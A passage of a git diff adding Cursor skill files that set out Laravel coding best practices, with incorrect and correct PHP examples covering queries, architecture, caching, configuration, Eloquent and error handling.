+- Array notation `['required', 'email']` for new code; follow existing convention
+- `$request->validated()` only — never `$request->all()`
+- `Rule::when()` for conditional validation
+- `after()` instead of `withValidator()`
+
+### 7. Configuration → `rules/config.md`
+
+- `env()` only inside config files
+- `App::environment()` or `app()->isProduction()`
+- Config, lang files, and constants over hardcoded text
+
+### 8. Testing Patterns → `rules/testing.md`
+
+- `LazilyRefreshDatabase` over `RefreshDatabase` for speed
+- `assertModelExists()` over raw `assertDatabaseHas()`
+- Factory states and sequences over manual overrides
+- Use fakes (`Event::fake()`, `Exceptions::fake()`, etc.) — but always after factory setup, not before
+- `recycle()` to share relationship instances across factories
+
+### 9. Queue & Job Patterns → `rules/queue-jobs.md`
+
+- `retry_after` must exceed job `timeout`; use exponential backoff `[1, 5, 10]`
+- `ShouldBeUnique` to prevent duplicates; `WithoutOverlapping::untilProcessing()` for concurrency
+- Always implement `failed()`; with `retryUntil()`, set `$tries = 0`
+- `RateLimited` middleware for external API calls; `Bus::batch()` for related jobs
+- Horizon for complex multi-queue scenarios
+
+### 10. Routing & Controllers → `rules/routing.md`
+
+- Implicit route model binding
+- Scoped bindings for nested resources
+- `Route::resource()` or `apiResource()`
+- Methods under 10 lines — extract to actions/services
+- Type-hint Form Requests for auto-validation
+
+### 11. HTTP Client → `rules/http-client.md`
+
+- Explicit `timeout` and `connectTimeout` on every request
+- `retry()` with exponential backoff for external APIs
+- Check response status or use `throw()`
+- `Http::pool()` for concurrent independent requests
+- `Http::fake()` and `preventStrayRequests()` in tests
+
+### 12. Events, Notifications & Mail → `rules/events-notifications.md`, `rules/mail.md`
+
+- Event discovery over manual registration; `event:cache` in production
+- `ShouldDispatchAfterCommit` / `afterCommit()` inside transactions
+- Queue notifications and mailables with `ShouldQueue`
+- On-demand notifications for non-user recipients
+- `HasLocalePreference` on notifiable models
+- `assertQueued()` not `assertSent()` for queued mailables
+- Markdown mailables for transactional emails
+
+### 13. Error Handling → `rules/error-handling.md`
+
+- `report()`/`render()` on exception classes or in `bootstrap/app.php` — follow existing pattern
+- `ShouldntReport` for exceptions that should never log
+- Throttle high-volume exceptions to protect log sinks
+- `dontReportDuplicates()` for multi-catch scenarios
+- Force JSON rendering for API routes
+- Structured context via `context()` on exception classes
+
+### 14. Task Scheduling → `rules/scheduling.md`
+
+- `withoutOverlapping()` on variable-duration tasks
+- `onOneServer()` on multi-server deployments
+- `runInBackground()` for concurrent long tasks
+- `environments()` to restrict to appropriate environments
+- `takeUntilTimeout()` for time-bounded processing
+- Schedule groups for shared configuration
+
+### 15. Architecture → `rules/architecture.md`
+
+- Single-purpose Action classes; dependency injection over `app()` helper
+- Prefer official Laravel packages and follow conventions, don't override defaults
+- Default to `ORDER BY id DESC` or `created_at DESC`; `mb_*` for UTF-8 safety
+- `defer()` for post-response work; `Context` for request-scoped data; `Concurrency::run()` for parallel execution
+
+### 16. Migrations → `rules/migrations.md`
+
+- Generate migrations with `php artisan make:migration`
+- `constrained()` for foreign keys
+- Never modify migrations that have run in production
+- Add indexes in the migration, not as an afterthought
+- Mirror column defaults in model `$attributes`
+- Reversible `down()` by default; forward-fix migrations for intentionally irreversible changes
+- One concern per migration — never mix DDL and DML
+
+### 17. Collections → `rules/collections.md`
+
+- Higher-order messages for simple collection operations
+- `cursor()` vs. `lazy()` — choose based on relationship needs
+- `lazyById()` when updating records while iterating
+- `toQuery()` for bulk operations on collections
+
+### 18. Blade & Views → `rules/blade-views.md`
+
+- `$attributes->merge()` in component templates
+- Blade components over `@include`; `@pushOnce` for per-component scripts
+- View Composers for shared view data
+- `@aware` for deeply nested component props
+
+### 19. Conventions & Style → `rules/style.md`
+
+- Follow Laravel naming conventions for all entities
+- Prefer Laravel helpers (`Str`, `Arr`, `Number`, `Uri`, `Str::of()`, `$request->string()`) over raw PHP functions
+- No JS/CSS in Blade, no HTML in PHP classes
+- Code should be readable; comments only for config files
+
+## How to Apply
+
+Always use a sub-agent to read rule files and explore this skill's content.
+
+1. Identify the file type and select relevant sections (e.g., migration → §16, controller → §1, §3, §5, §6, §10)
+2. Check sibling files for existing patterns — follow those first per Consistency First
+3. Verify API syntax with `search-docs` for the installed Laravel version
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/advanced-queries.md b/.cursor/skills/laravel-best-practices/rules/advanced-queries.md
new file mode 100644
index 000000000..920714a14
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/advanced-queries.md
@@ -0,0 +1,106 @@
+# Advanced Query Patterns
+
+## Use `addSelect()` Subqueries for Single Values from Has-Many
+
+Instead of eager-loading an entire has-many relationship for a single value (like the latest timestamp), use a correlated subquery via `addSelect()`. This pulls the value directly in the main SQL query — zero extra queries.
+
+```php
+public function scopeWithLastLoginAt($query): void
+{
+ $query->addSelect([
+ 'last_login_at' => Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->withCasts(['last_login_at' => 'datetime']);
+}
+```
+
+## Create Dynamic Relationships via Subquery FK
+
+Extend the `addSelect()` pattern to fetch a foreign key via subquery, then define a `belongsTo` relationship on that virtual attribute. This provides a fully-hydrated related model without loading the entire collection.
+
+```php
+public function lastLogin(): BelongsTo
+{
+ return $this->belongsTo(Login::class);
+}
+
+public function scopeWithLastLogin($query): void
+{
+ $query->addSelect([
+ 'last_login_id' => Login::select('id')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1),
+ ])->with('lastLogin');
+}
+```
+
+## Use Conditional Aggregates Instead of Multiple Count Queries
+
+Replace N separate `count()` queries with a single query using `CASE WHEN` inside `selectRaw()`. Use `toBase()` to skip model hydration when you only need scalar values.
+
+```php
+$statuses = Feature::toBase()
+ ->selectRaw("count(case when status = 'Requested' then 1 end) as requested")
+ ->selectRaw("count(case when status = 'Planned' then 1 end) as planned")
+ ->selectRaw("count(case when status = 'Completed' then 1 end) as completed")
+ ->first();
+```
+
+## Use `setRelation()` to Prevent Circular N+1
+
+When a parent model is eager-loaded with its children, and the view also needs `$child->parent`, use `setRelation()` to inject the already-loaded parent rather than letting Eloquent fire N additional queries.
+
+```php
+$feature->load('comments.user');
+$feature->comments->each->setRelation('feature', $feature);
+```
+
+## Prefer `whereIn` + Subquery Over `whereHas`
+
+`whereHas()` emits a correlated `EXISTS` subquery that re-executes per row. Using `whereIn()` with a `select('id')` subquery lets the database use an index lookup instead, without loading data into PHP memory.
+
+Incorrect (correlated EXISTS re-executes per row):
+
+```php
+$query->whereHas('company', fn ($q) => $q->where('name', 'like', $term));
+```
+
+Correct (index-friendly subquery, no PHP memory overhead):
+
+```php
+$query->whereIn('company_id', Company::where('name', 'like', $term)->select('id'));
+```
+
+## Sometimes Two Simple Queries Beat One Complex Query
+
+Running a small, targeted secondary query and passing its results via `whereIn` is often faster than a single complex correlated subquery or join. The additional round-trip is worthwhile when the secondary query is highly selective and uses its own index.
+
+## Use Compound Indexes Matching `orderBy` Column Order
+
+When ordering by multiple columns, create a single compound index in the same column order as the `ORDER BY` clause. Individual single-column indexes cannot combine for multi-column sorts — the database will filesort without a compound index.
+
+```php
+// Migration
+$table->index(['last_name', 'first_name']);
+
+// Query — column order must match the index
+User::query()->orderBy('last_name')->orderBy('first_name')->paginate();
+```
+
+## Use Correlated Subqueries for Has-Many Ordering
+
+When sorting by a value from a has-many relationship, avoid joins (they duplicate rows). Use a correlated subquery inside `orderBy()` instead, paired with an `addSelect` scope for eager loading.
+
+```php
+public function scopeOrderByLastLogin($query): void
+{
+ $query->orderByDesc(Login::select('created_at')
+ ->whereColumn('user_id', 'users.id')
+ ->latest()
+ ->take(1)
+ );
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/architecture.md b/.cursor/skills/laravel-best-practices/rules/architecture.md
new file mode 100644
index 000000000..165056422
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/architecture.md
@@ -0,0 +1,202 @@
+# Architecture Best Practices
+
+## Single-Purpose Action Classes
+
+Extract discrete business operations into invokable Action classes.
+
+```php
+class CreateOrderAction
+{
+ public function __construct(private InventoryService $inventory) {}
+
+ public function execute(array $data): Order
+ {
+ $order = Order::create($data);
+ $this->inventory->reserve($order);
+
+ return $order;
+ }
+}
+```
+
+## Use Dependency Injection
+
+Always use constructor injection. Avoid `app()` or `resolve()` inside classes.
+
+Incorrect:
+```php
+class OrderController extends Controller
+{
+ public function store(StoreOrderRequest $request)
+ {
+ $service = app(OrderService::class);
+
+ return $service->create($request->validated());
+ }
+}
+```
+
+Correct:
+```php
+class OrderController extends Controller
+{
+ public function __construct(private OrderService $service) {}
+
+ public function store(StoreOrderRequest $request)
+ {
+ return $this->service->create($request->validated());
+ }
+}
+```
+
+## Code to Interfaces
+
+Depend on contracts at system boundaries (payment gateways, notification channels, external APIs) for testability and swappability.
+
+Incorrect (concrete dependency):
+```php
+class OrderService
+{
+ public function __construct(private StripeGateway $gateway) {}
+}
+```
+
+Correct (interface dependency):
+```php
+interface PaymentGateway
+{
+ public function charge(int $amount, string $customerId): PaymentResult;
+}
+
+class OrderService
+{
+ public function __construct(private PaymentGateway $gateway) {}
+}
+```
+
+Bind in a service provider:
+
+```php
+$this->app->bind(PaymentGateway::class, StripeGateway::class);
+```
+
+## Default Sort by Descending
+
+When no explicit order is specified, sort by `id` or `created_at` descending. Explicit ordering prevents cross-database inconsistencies between MySQL and Postgres.
+
+Incorrect:
+```php
+$posts = Post::paginate();
+```
+
+Correct:
+```php
+$posts = Post::latest()->paginate();
+```
+
+## Use Atomic Locks for Race Conditions
+
+Prevent race conditions with `Cache::lock()` or `lockForUpdate()`.
+
+```php
+Cache::lock('order-processing-'.$order->id, 10)->block(5, function () use ($order) {
+ $order->process();
+});
+
+// Or at query level
+$product = Product::where('id', $id)->lockForUpdate()->first();
+```
+
+## Use `mb_*` String Functions
+
+When no Laravel helper exists, prefer `mb_strlen`, `mb_strtolower`, etc. for UTF-8 safety. Standard PHP string functions count bytes, not characters.
+
+Incorrect:
+```php
+strlen('José'); // 5 (bytes, not characters)
+strtolower('MÜNCHEN'); // 'mÜnchen' — fails on multibyte
+```
+
+Correct:
+```php
+mb_strlen('José'); // 4 (characters)
+mb_strtolower('MÜNCHEN'); // 'münchen'
+
+// Prefer Laravel's Str helpers when available
+Str::length('José'); // 4
+Str::lower('MÜNCHEN'); // 'münchen'
+```
+
+## Use `defer()` for Post-Response Work
+
+For lightweight tasks that don't need to survive a crash (logging, analytics, cleanup), use `defer()` instead of dispatching a job. The callback runs after the HTTP response is sent — no queue overhead.
+
+Incorrect (job overhead for trivial work):
+```php
+dispatch(new LogPageView($page));
+```
+
+Correct (runs after response, same process):
+```php
+defer(fn () => PageView::create(['page_id' => $page->id, 'user_id' => auth()->id()]));
+```
+
+Use jobs when the work must survive process crashes or needs retry logic. Use `defer()` for fire-and-forget work.
+
+## Use `Context` for Request-Scoped Data
+
+The `Context` facade passes data through the entire request lifecycle — middleware, controllers, jobs, logs — without passing arguments manually.
+
+```php
+// In middleware
+Context::add('tenant_id', $request->header('X-Tenant-ID'));
+
+// Anywhere later — controllers, jobs, log context
+$tenantId = Context::get('tenant_id');
+```
+
+Context data automatically propagates to queued jobs and is included in log entries. Use `Context::addHidden()` for sensitive data that should be available in queued jobs but excluded from log context. If data must not leave the current process, do not store it in `Context`.
+
+## Use `Concurrency::run()` for Parallel Execution
+
+Run independent operations in parallel using child processes — no async libraries needed.
+
+```php
+use Illuminate\Support\Facades\Concurrency;
+
+[$users, $orders] = Concurrency::run([
+ fn () => User::count(),
+ fn () => Order::where('status', 'pending')->count(),
+]);
+```
+
+Each closure runs in a separate process with full Laravel access. Use for independent database queries, API calls, or computations that would otherwise run sequentially.
+
+## Convention Over Configuration
+
+Follow Laravel conventions. Don't override defaults unnecessarily.
+
+Incorrect:
+```php
+class Customer extends Model
+{
+ protected $table = 'Customer';
+ protected $primaryKey = 'customer_id';
+
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class, 'role_customer', 'customer_id', 'role_id');
+ }
+}
+```
+
+Correct:
+```php
+class Customer extends Model
+{
+ public function roles(): BelongsToMany
+ {
+ return $this->belongsToMany(Role::class);
+ }
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/blade-views.md b/.cursor/skills/laravel-best-practices/rules/blade-views.md
new file mode 100644
index 000000000..c6f8aaf1e
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/blade-views.md
@@ -0,0 +1,36 @@
+# Blade & Views Best Practices
+
+## Use `$attributes->merge()` in Component Templates
+
+Hardcoding classes prevents consumers from adding their own. `merge()` combines class attributes cleanly.
+
+```blade
+
+```
+
+## Use `@pushOnce` for Per-Component Scripts
+
+If a component renders inside a `@foreach`, `@push` inserts the script N times. `@pushOnce` guarantees it's included exactly once.
+
+## Prefer Blade Components Over `@include`
+
+`@include` shares all parent variables implicitly (hidden coupling). Components have explicit props, attribute bags, and slots.
+
+## Use View Composers for Shared View Data
+
+If every controller rendering a sidebar must pass `$categories`, that's duplicated code. A View Composer centralizes it.
+
+## Use Blade Fragments for Partial Re-Renders (htmx/Turbo)
+
+A single view can return either the full page or just a fragment, keeping routing clean.
+
+```php
+return view('dashboard', compact('users'))
+ ->fragmentIf($request->hasHeader('HX-Request'), 'user-list');
+```
+
+## Use `@aware` for Deeply Nested Component Props
+
+Avoids re-passing parent props through every level of nested components.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/caching.md b/.cursor/skills/laravel-best-practices/rules/caching.md
new file mode 100644
index 000000000..eb3ef3e62
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/caching.md
@@ -0,0 +1,70 @@
+# Caching Best Practices
+
+## Use `Cache::remember()` Instead of Manual Get/Put
+
+Atomic pattern prevents race conditions and removes boilerplate.
+
+Incorrect:
+```php
+$val = Cache::get('stats');
+if (! $val) {
+ $val = $this->computeStats();
+ Cache::put('stats', $val, 60);
+}
+```
+
+Correct:
+```php
+$val = Cache::remember('stats', 60, fn () => $this->computeStats());
+```
+
+## Use `Cache::flexible()` for Stale-While-Revalidate
+
+On high-traffic keys, one user always gets a slow response when the cache expires. `flexible()` serves slightly stale data while refreshing in the background.
+
+Incorrect: `Cache::remember('users', 300, fn () => User::all());`
+
+Correct: `Cache::flexible('users', [300, 600], fn () => User::all());` — fresh for 5 min, stale-but-served up to 10 min, refreshes via deferred function.
+
+## Use `Cache::memo()` to Avoid Redundant Hits Within a Request
+
+If the same cache key is read multiple times per request (e.g., a service called from multiple places), `memo()` stores the resolved value in memory.
+
+`Cache::memo()->get('settings');` — 5 calls = 1 Redis round-trip instead of 5.
+
+## Use Cache Tags to Invalidate Related Groups
+
+Without tags, invalidating a group of entries requires tracking every key. Tags let you flush atomically. Only works with `redis`, `memcached`, `dynamodb` — not `file` or `database`.
+
+```php
+Cache::tags(['user-1'])->flush();
+```
+
+## Use `Cache::add()` for Atomic Conditional Writes
+
+`add()` only writes if the key does not exist — atomic, no race condition between checking and writing.
+
+Incorrect: `if (! Cache::has('lock')) { Cache::put('lock', true, 10); }`
+
+Correct: `Cache::add('lock', true, 10);`
+
+## Use `once()` for Per-Request Memoization
+
+`once()` memoizes a function's return value for the lifetime of the object (or request for closures). Unlike `Cache::memo()`, it doesn't hit the cache store at all — pure in-memory.
+
+```php
+public function roles(): Collection
+{
+ return once(fn () => $this->loadRoles());
+}
+```
+
+Multiple calls return the cached result without re-executing. Use `once()` for expensive computations called multiple times per request. Use `Cache::memo()` when you also want cross-request caching.
+
+## Configure Failover Cache Stores in Production
+
+If Redis goes down, the app falls back to a secondary store automatically.
+
+```php
+'failover' => ['driver' => 'failover', 'stores' => ['redis', 'database']],
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/collections.md b/.cursor/skills/laravel-best-practices/rules/collections.md
new file mode 100644
index 000000000..14f683d32
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/collections.md
@@ -0,0 +1,44 @@
+# Collection Best Practices
+
+## Use Higher-Order Messages for Simple Operations
+
+Incorrect:
+```php
+$users->each(function (User $user) {
+ $user->markAsVip();
+});
+```
+
+Correct: `$users->each->markAsVip();`
+
+Works with `each`, `map`, `sum`, `filter`, `reject`, `contains`, etc.
+
+## Choose `cursor()` vs. `lazy()` Correctly
+
+- `cursor()` — one model in memory, but cannot eager-load relationships (N+1 risk).
+- `lazy()` — chunked pagination returning a flat LazyCollection, supports eager loading.
+
+Incorrect: `User::with('roles')->cursor()` — eager loading silently ignored.
+
+Correct: `User::with('roles')->lazy()` for relationship access; `User::cursor()` for attribute-only work.
+
+## Use `lazyById()` When Updating Records While Iterating
+
+`lazy()` uses offset pagination — updating records during iteration can skip or double-process. `lazyById()` uses `id > last_id`, safe against mutation.
+
+## Use `toQuery()` for Bulk Operations on Collections
+
+Avoids manual `whereIn` construction.
+
+Incorrect: `User::whereIn('id', $users->pluck('id'))->update([...]);`
+
+Correct: `$users->toQuery()->update([...]);`
+
+## Use `#[CollectedBy]` for Custom Collection Classes
+
+More declarative than overriding `newCollection()`.
+
+```php
+#[CollectedBy(UserCollection::class)]
+class User extends Model {}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/config.md b/.cursor/skills/laravel-best-practices/rules/config.md
new file mode 100644
index 000000000..8fd8f536f
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/config.md
@@ -0,0 +1,73 @@
+# Configuration Best Practices
+
+## `env()` Only in Config Files
+
+Direct `env()` calls return `null` when config is cached.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'key' => env('API_KEY'),
+
+// Application code
+$key = config('services.key');
+```
+
+## Use Encrypted Env or External Secrets
+
+Never store production secrets in plain `.env` files in version control.
+
+Incorrect:
+```bash
+
+# .env committed to repo or shared in Slack
+
+STRIPE_SECRET=sk_live_abc123
+AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI
+```
+
+Correct:
+```bash
+php artisan env:encrypt --env=production --readable
+php artisan env:decrypt --env=production
+```
+
+For cloud deployments, prefer the platform's native secret store (AWS Secrets Manager, Vault, etc.) and inject at runtime.
+
+## Use `App::environment()` for Environment Checks
+
+Incorrect:
+```php
+if (env('APP_ENV') === 'production') {
+```
+
+Correct:
+```php
+if (app()->isProduction()) {
+// or
+if (App::environment('production')) {
+```
+
+## Use Constants and Language Files
+
+Use class constants instead of hardcoded magic strings for model states, types, and statuses.
+
+```php
+// Incorrect
+return $this->type === 'normal';
+
+// Correct
+return $this->type === self::TYPE_NORMAL;
+```
+
+If the application already uses language files for localization, use `__()` for user-facing strings too. Do not introduce language files purely for English-only apps — simple string literals are fine there.
+
+```php
+// Only when lang files already exist in the project
+return back()->with('message', __('app.article_added'));
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/db-performance.md b/.cursor/skills/laravel-best-practices/rules/db-performance.md
new file mode 100644
index 000000000..8fb719377
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/db-performance.md
@@ -0,0 +1,192 @@
+# Database Performance Best Practices
+
+## Always Eager Load Relationships
+
+Lazy loading causes N+1 query problems — one query per loop iteration. Always use `with()` to load relationships upfront.
+
+Incorrect (N+1 — executes 1 + N queries):
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Correct (2 queries total):
+```php
+$posts = Post::with('author')->get();
+foreach ($posts as $post) {
+ echo $post->author->name;
+}
+```
+
+Constrain eager loads to select only needed columns (always include the foreign key):
+
+```php
+$users = User::with(['posts' => function ($query) {
+ $query->select('id', 'user_id', 'title')
+ ->where('published', true)
+ ->latest()
+ ->limit(10);
+}])->get();
+```
+
+## Prevent Lazy Loading in Development
+
+Enable this in `AppServiceProvider::boot()` to catch N+1 issues during development.
+
+```php
+public function boot(): void
+{
+ Model::preventLazyLoading(! app()->isProduction());
+}
+```
+
+Throws `LazyLoadingViolationException` when a relationship is accessed without being eager-loaded.
+
+## Select Only Needed Columns
+
+Avoid `SELECT *` — especially when tables have large text or JSON columns.
+
+Incorrect:
+```php
+$posts = Post::with('author')->get();
+```
+
+Correct:
+```php
+$posts = Post::select('id', 'title', 'user_id', 'created_at')
+ ->with(['author:id,name,avatar'])
+ ->get();
+```
+
+When selecting columns on eager-loaded relationships, always include the foreign key column or the relationship won't match.
+
+## Chunk Large Datasets
+
+Never load thousands of records at once. Use chunking for batch processing.
+
+Incorrect:
+```php
+$users = User::all();
+foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+}
+```
+
+Correct:
+```php
+User::where('subscribed', true)->chunk(200, function ($users) {
+ foreach ($users as $user) {
+ $user->notify(new WeeklyDigest);
+ }
+});
+```
+
+Use `chunkById()` when modifying records during iteration — standard `chunk()` uses OFFSET which shifts when rows change:
+
+```php
+User::where('active', false)->chunkById(200, function ($users) {
+ $users->each->delete();
+});
+```
+
+## Add Database Indexes
+
+Index columns that appear in `WHERE`, `ORDER BY`, `JOIN`, and `GROUP BY` clauses.
+
+Incorrect:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->constrained();
+ $table->string('status');
+ $table->timestamps();
+});
+```
+
+Correct:
+```php
+Schema::create('orders', function (Blueprint $table) {
+ $table->id();
+ $table->foreignId('user_id')->index()->constrained();
+ $table->string('status')->index();
+ $table->timestamps();
+ $table->index(['status', 'created_at']);
+});
+```
+
+Add composite indexes for common query patterns (e.g., `WHERE status = ? ORDER BY created_at`).
+
+## Use `withCount()` for Counting Relations
+
+Never load entire collections just to count them.
+
+Incorrect:
+```php
+$posts = Post::all();
+foreach ($posts as $post) {
+ echo $post->comments->count();
+}
+```
+
+Correct:
+```php
+$posts = Post::withCount('comments')->get();
+foreach ($posts as $post) {
+ echo $post->comments_count;
+}
+```
+
+Conditional counting:
+
+```php
+$posts = Post::withCount([
+ 'comments',
+ 'comments as approved_comments_count' => function ($query) {
+ $query->where('approved', true);
+ },
+])->get();
+```
+
+## Use `cursor()` for Memory-Efficient Iteration
+
+For read-only iteration over large result sets, `cursor()` loads one record at a time via a PHP generator.
+
+Incorrect:
+```php
+$users = User::where('active', true)->get();
+```
+
+Correct:
+```php
+foreach (User::where('active', true)->cursor() as $user) {
+ ProcessUser::dispatch($user->id);
+}
+```
+
+Use `cursor()` for read-only iteration. Use `chunk()` / `chunkById()` when modifying records.
+
+## No Queries in Blade Templates
+
+Never execute queries in Blade templates. Pass data from controllers.
+
+Incorrect:
+```blade
+@foreach (User::all() as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
+
+Correct:
+```php
+// Controller
+$users = User::with('profile')->get();
+return view('users.index', compact('users'));
+```
+
+```blade
+@foreach ($users as $user)
+ {{ $user->profile->name }}
+@endforeach
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/eloquent.md b/.cursor/skills/laravel-best-practices/rules/eloquent.md
new file mode 100644
index 000000000..09cd66a05
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/eloquent.md
@@ -0,0 +1,148 @@
+# Eloquent Best Practices
+
+## Use Correct Relationship Types
+
+Use `hasMany`, `belongsTo`, `morphMany`, etc. with proper return type hints.
+
+```php
+public function comments(): HasMany
+{
+ return $this->hasMany(Comment::class);
+}
+
+public function author(): BelongsTo
+{
+ return $this->belongsTo(User::class, 'user_id');
+}
+```
+
+## Use Local Scopes for Reusable Queries
+
+Extract reusable query constraints into local scopes to avoid duplication.
+
+Incorrect:
+```php
+$active = User::where('verified', true)->whereNotNull('activated_at')->get();
+$articles = Article::whereHas('user', function ($q) {
+ $q->where('verified', true)->whereNotNull('activated_at');
+})->get();
+```
+
+Correct:
+```php
+public function scopeActive(Builder $query): Builder
+{
+ return $query->where('verified', true)->whereNotNull('activated_at');
+}
+
+// Usage
+$active = User::active()->get();
+$articles = Article::whereHas('user', fn ($q) => $q->active())->get();
+```
+
+## Apply Global Scopes Sparingly
+
+Global scopes silently modify every query on the model, making debugging difficult. Prefer local scopes and reserve global scopes for truly universal constraints like soft deletes or multi-tenancy.
+
+Incorrect (global scope for a conditional filter):
+```php
+class PublishedScope implements Scope
+{
+ public function apply(Builder $builder, Model $model): void
+ {
+ $builder->where('published', true);
+ }
+}
+// Now admin panels, reports, and background jobs all silently skip drafts
+```
+
+Correct (local scope you opt into):
+```php
+public function scopePublished(Builder $query): Builder
+{
+ return $query->where('published', true);
+}
+
+Post::published()->paginate(); // Explicit
+Post::paginate(); // Admin sees all
+```
+
+## Define Attribute Casts
+
+Use the `casts()` method (or `$casts` property following project convention) for automatic type conversion.
+
+```php
+protected function casts(): array
+{
+ return [
+ 'is_active' => 'boolean',
+ 'metadata' => 'array',
+ 'total' => 'decimal:2',
+ ];
+}
+```
+
+## Cast Date Columns Properly
+
+Always cast date columns. Use Carbon instances in templates instead of formatting strings manually.
+
+Incorrect:
+```blade
+{{ Carbon::createFromFormat('Y-d-m H-i', $order->ordered_at)->toDateString() }}
+```
+
+Correct:
+```php
+protected function casts(): array
+{
+ return [
+ 'ordered_at' => 'datetime',
+ ];
+}
+```
+
+```blade
+{{ $order->ordered_at->toDateString() }}
+{{ $order->ordered_at->format('m-d') }}
+```
+
+## Use `whereBelongsTo()` for Relationship Queries
+
+Cleaner than manually specifying foreign keys.
+
+Incorrect:
+```php
+Post::where('user_id', $user->id)->get();
+```
+
+Correct:
+```php
+Post::whereBelongsTo($user)->get();
+Post::whereBelongsTo($user, 'author')->get();
+```
+
+## Avoid Hardcoded Table Names in Queries
+
+Never use string literals for table names in raw queries, joins, or subqueries. Hardcoded table names make it impossible to find all places a model is used and break refactoring (e.g., renaming a table requires hunting through every raw string).
+
+Incorrect:
+```php
+DB::table('users')->where('active', true)->get();
+
+$query->join('companies', 'companies.id', '=', 'users.company_id');
+
+DB::select('SELECT * FROM orders WHERE status = ?', ['pending']);
+```
+
+Correct — reference the model's table:
+```php
+DB::table((new User)->getTable())->where('active', true)->get();
+
+// Even better — use Eloquent or the query builder instead of raw SQL
+User::where('active', true)->get();
+Order::where('status', 'pending')->get();
+```
+
+Prefer Eloquent queries and relationships over `DB::table()` whenever possible — they already reference the model's table. When `DB::table()` or raw joins are unavoidable, always use `(new Model)->getTable()` to keep the reference traceable.
+
+**Exception — migrations:** In migrations, hardcoded table names via `DB::table('settings')` are acceptable and preferred. Models change over time but migrations are frozen snapshots — referencing a model that is later renamed or deleted would break the migration.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/error-handling.md b/.cursor/skills/laravel-best-practices/rules/error-handling.md
new file mode 100644
index 000000000..bb8e7a387
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/error-handling.md
@@ -0,0 +1,72 @@
+# Error Handling Best Practices
+
+## Exception Reporting and Rendering
+
+There are two valid approaches — choose one and apply it consistently across the project.
+
+**Co-location on the exception class** — keeps behavior alongside the exception definition, easier to find:
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function report(): void { /* custom reporting */ }
+
+ public function render(Request $request): Response
+ {
+ return response()->view('errors.invalid-order', status: 422);
+ }
+}
+```
+
+**Centralized in `bootstrap/app.php`** — all exception handling in one place, easier to see the full picture:
+
+```php
+->withExceptions(function (Exceptions $exceptions) {
+ $exceptions->report(function (InvalidOrderException $e) { /* ... */ });
+ $exceptions->render(function (InvalidOrderException $e, Request $request) {
+ return response()->view('errors.invalid-order', status: 422);
+ });
+})
+```
+
+Check the existing codebase and follow whichever pattern is already established.
+
+## Use `ShouldntReport` for Exceptions That Should Never Log
+
+More discoverable than listing classes in `dontReport()`.
+
+```php
+class PodcastProcessingException extends Exception implements ShouldntReport {}
+```
+
+## Throttle High-Volume Exceptions
+
+A single failing integration can flood error tracking. Use `throttle()` to rate-limit per exception type.
+
+## Enable `dontReportDuplicates()`
+
+Prevents the same exception instance from being logged multiple times when `report($e)` is called in multiple catch blocks.
+
+## Force JSON Error Rendering for API Routes
+
+Laravel auto-detects `Accept: application/json` but API clients may not set it. Explicitly declare JSON rendering for API routes.
+
+```php
+$exceptions->shouldRenderJsonWhen(function (Request $request, Throwable $e) {
+ return $request->is('api/*') || $request->expectsJson();
+});
+```
+
+## Add Context to Exception Classes
+
+Attach structured data to exceptions at the source via a `context()` method — Laravel includes it automatically in the log entry.
+
+```php
+class InvalidOrderException extends Exception
+{
+ public function context(): array
+ {
+ return ['order_id' => $this->orderId];
+ }
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/rules/events-notifications.md b/.cursor/skills/laravel-best-practices/rules/events-notifications.md
new file mode 100644
index 000000000..bc43f1997
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/rules/events-notifications.md
@@ -0,0 +1,48 @@
+# Events & Notifications Best Practices
+
+## Rely on Event Discovery
+
+Laravel auto-discovers listeners by reading `handle(EventType $event)` type-hints. No manual registration needed in `AppServiceProvider`.
+
+## Run `event:cache` in Production Deploy
+
+Event discovery scans the filesystem per-request in dev. Cache it in production: `php artisan optimize` or `php artisan event:cache`.
+
+## Use `ShouldDispatchAfterCommit` Inside Transactions
+
+Without it, a queued listener may process before the DB transaction commits, reading data that doesn't exist yet.
+
+```php
+class OrderShipped implements ShouldDispatchAfterCommit {}
+```
+
+## Always Queue Notifications
+
+Notifications often hit external APIs (email, SMS, Slack). Without `ShouldQueue`, they block the HTTP response.
+
+```php
+class InvoicePaid extends Notification implements ShouldQueue
+{
+ use Queueable;
+}
+```
+
+## Use `afterCommit()` on Notifications in Transactions
+
+Same race condition as events — the queued notification job may run before the transaction commits.
+
+## Route Notification Channels to Dedicated Queues
+
+Mail and database notifications have different priorities. Use `viaQueues()` to route them to separate queues.
+
